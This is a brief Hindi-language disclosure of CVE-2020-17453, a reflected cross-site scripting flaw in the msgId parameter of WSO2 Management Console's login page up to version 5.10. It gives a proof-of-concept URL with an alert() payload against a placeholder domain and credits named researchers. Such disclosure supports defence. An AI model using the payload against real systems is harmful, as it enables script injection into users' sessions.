साझा करें

CVE-2020-17453

WSO2 Management Console 5.10 तक carbon/admin/login.jsp msgId पैरामीटर के माध्यम से XSS की अनुमति देता है।

PoC

PoC (प्रमाण की अवधारणा)

https://<company>.com/carbon/admin/login.jsp?msgId=%27;alert(1)//

नाम: Jackson Henry

ट्विटर: @JacksonHHax

नाम: Nicholas Young